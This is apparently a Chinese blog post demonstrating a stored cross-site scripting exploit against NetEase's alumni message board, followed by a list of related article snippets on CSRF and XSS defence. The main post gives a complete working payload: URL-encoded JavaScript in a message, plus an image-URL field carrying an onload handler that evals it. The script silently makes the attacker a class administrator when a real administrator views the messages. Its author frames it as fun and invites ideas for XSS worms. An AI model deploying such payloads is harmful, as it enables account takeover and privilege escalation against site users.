也谈一个跨站的利用

1.方法:

网易同学录留言功能存在跨站,这里演示一个利用它把自己加为班级管理员的方法。

在留言框里填写:

+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D---
在留言的贴图url的输入框里填写:

http://alumniimg.163.com/new/images/classhome_logo.gif" onload="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('---');eval(unescape(t.substring(s,e)));">
管理员察看班级留言时就会把我添加为管理员。

2.原理:

留言框里填写的留言+++和---之间的部分代码解码后如下:

try {
 var as = document.getElementsByTagName("a");
 var frm = document.getElementsByTagName("iframe")[0];
 frm.onload = function() {
  var oFrm = document.getElementsByTagName("iframe")[0];
  oFrm.onload = "";
  var oDoc = oFrm.contentWindow.document;
  oDoc.all["who"][1].checked = true;
  oDoc.dealmember.action = "backaction/UpdateClassMate.jsp?f=1";
  oDoc.dealmember.submit();
 }
 frm.src = as[34].href;
} catch (e) {
 alert(e);
}
漏洞出在贴图url的输入框没有过滤url,我在这里贴一个图,加上个onload事件,只要图片
url有效,图片正常载入就会触发该事件,执行我的onload里的代码,而onload里的代码搜索
我的留言里的代码,进行解码,然后执行。因为图片url的长度有限制,所以我才做这么一次
跳转,把我要做的事情分为两步。

3.最后:

为什么要贴这个没啥技术含量的东西,主要是觉得比较funy,你不觉得这样的利用过程和溢出
跳转执行shellcode有异曲同工的意思,因为有长度限制,所以我们要把shellcode分为几部分,
第一部分跳到第二部分来突破长度的限制,所有漏洞的原理本身就相似。
跨站的利用也可以玩的很有意思,比如"现有html和js上下文的利用,自我隐藏,脚本变形,
突破长度限制,跨站漏洞蠕虫等等",抛个砖头在这里等大家的玉。

(0)

相关推荐

  • 也谈一个跨站的利用

    1.方法: 网易同学录留言功能存在跨站,这里演示一个利用它把自己加为班级管理员的方法. 在留言框里填写: +++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20fu

  • 浅谈ASP.NET MVC 防止跨站请求伪造(CSRF)攻击的实现方法

    在HTTP POST请求中,我们多次在View和Controller中看下如下代码: 1.View中调用了Html.AntiForgeryToken(). 2.Controller中的方法添加了[ValidateAntiForgeryToken]注解. 这样看似一对的写法其实是为了避免引入跨站请求伪造(CSRF)攻击. 这种攻击形式大概在2001年才为人们所认知,2006年美国在线影片租赁网站Netflix爆出多个CSRF漏洞,2008年流行的视频网址YouTube受到CSRF攻击,同年墨西哥一

  • PHP实现的防止跨站和xss攻击代码【来自阿里云】

    本文实例讲述了PHP实现的防止跨站和xss攻击代码.分享给大家供大家参考,具体如下: 文档说明: 1.将waf.php传到要包含的文件的目录 2.在页面中加入防护,有两种做法,根据情况二选一即可: a).在所需要防护的页面加入代码 require_once('waf.php'); 就可以做到页面防注入.跨站 如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中! 添加require_once('waf.php');来调用本代码 常用php系统添加文件 PHPC

  • php跨站攻击实例分析

    本文实例讲述了php跨站攻击的原理与防范技巧.分享给大家供大家参考.具体方法分析如下: 跨站攻击就是利用程序上的一些细节或bug问题进行的,那么我们要如何耿防止跨站攻击呢?下面就以一个防止跨站攻击例子来说明,希望对各位有帮助. 复制代码 代码如下: <?php #demo for prevent csrf /** * enc */ function encrypt($token_time) { return md5('!@##$@$$#%43' . $token_time); } $token_

  • Django框架CBV装饰器中间件auth模块CSRF跨站请求问题

    CBV添加装饰器 给CBV添加装饰器有三种方法,三种方法都需要导入模块: from django.utils.decorators import method_decorator 第一种直接在方法上面添加: from django.utils.decorators import method_decorator class MyLogin(View): @method_decorator(auth) def get(self, request): return HttpResponse('Is

  • CSRF跨站请求伪造漏洞分析与防御

    目录 CSRF 漏洞原理 漏洞危害 防御绕过 漏洞利用 防御措施 总结 CSRF 现在的网站都有利用CSRF令牌来防止CSRF,就是在请求包的字段加一个csrf的值,防止csrf,要想利用该漏洞,要和xss组合起来,利用xss获得该csrf值,在构造的请求中将csrf值加进去,就可以绕过csrf防御,利用该漏洞. 该漏洞与xss的区别:xss是通过执行恶意脚本,获取到用户的cookie等信息,再利用cookie等信息进行绕过登录限制,做一些用户可以做的事. 而csrf是伪造请求,让用户自己执行攻

  • 解析django的csrf跨站请求伪造

    目录 1.什么是跨站请求伪造 2.如何规避跨站请求伪造(csrf校验) 3.如何符合csrf校验 3.1 form表单如何符合校验 3.2 ajax如何符合校验 4.csrf相关的装饰器 4.1 针对FBV的csrf装饰器 4.2 针对CBV的csrf装饰器 1.什么是跨站请求伪造 请看图: 我们自行写了一个网站模仿中国银行,用户不知道是否是真的中国银行,并且提交了转账信息,生成一个form表单,向银行服务器发送转账请求,这个form表单和正规银行网站的form表单一模一样,只不过里面隐藏着改变

  • IE8 引入跨站数据获取功能说明

    (从文档上看,这个接口还在开发过程中).官方的解释是 Represents a cross-domain XML request via HTTP. 这是个很好的消息哈.XMLRequest 不能跨站一直都是多子域服务器的硬伤.使得很多情况不得不考虑最原始的动态script和JSON的方式.不过IE8团队有意解决跨站访问数据的问题,是ie8的一个进步呀. 不过这里又担心了,ie8进步了,其他浏览器没跟上怎么办呢?要是ie团队把JSONRequset实现了那就更加爽YY了.http://www.j

  • Laravel5中防止XSS跨站攻击的方法

    本文实例讲述了Laravel5中防止XSS跨站攻击的方法.分享给大家供大家参考,具体如下: Laravel 5本身没有这个能力来防止xss跨站攻击了,但是这它可以使用Purifier 扩展包集成 HTMLPurifier 防止 XSS 跨站攻击. 1.安装 HTMLPurifier 是基于 PHP 编写的富文本 HTML 过滤器,通常我们可以使用它来防止 XSS 跨站攻击,更多关于 HTMLPurifier的详情请参考其官网:http://htmlpurifier.org/.Purifier 是

  • php中防止伪造跨站请求的小招式

    伪造跨站请求介绍 伪造跨站请求比较难以防范,而且危害巨大,攻击者可以通过这种方式恶作剧,发spam信息,删除数据等等.这种攻击常见的表现形式有: 伪造链接,引诱用户点击,或是让用户在不知情的情况下访问 伪造表单,引诱用户提交.表单可以是隐藏的,用图片或链接的形式伪装. 比较常见而且也很廉价的防范手段是在所有可能涉及用户写操作的表单中加入一个随机且变换频繁的字符串,然后在处理表单的时候对这个字符串进行检查.这个随机字符串如果和当前用户身份相关联的话,那么攻击者伪造请求会比较麻烦. yahoo对付伪

随机推荐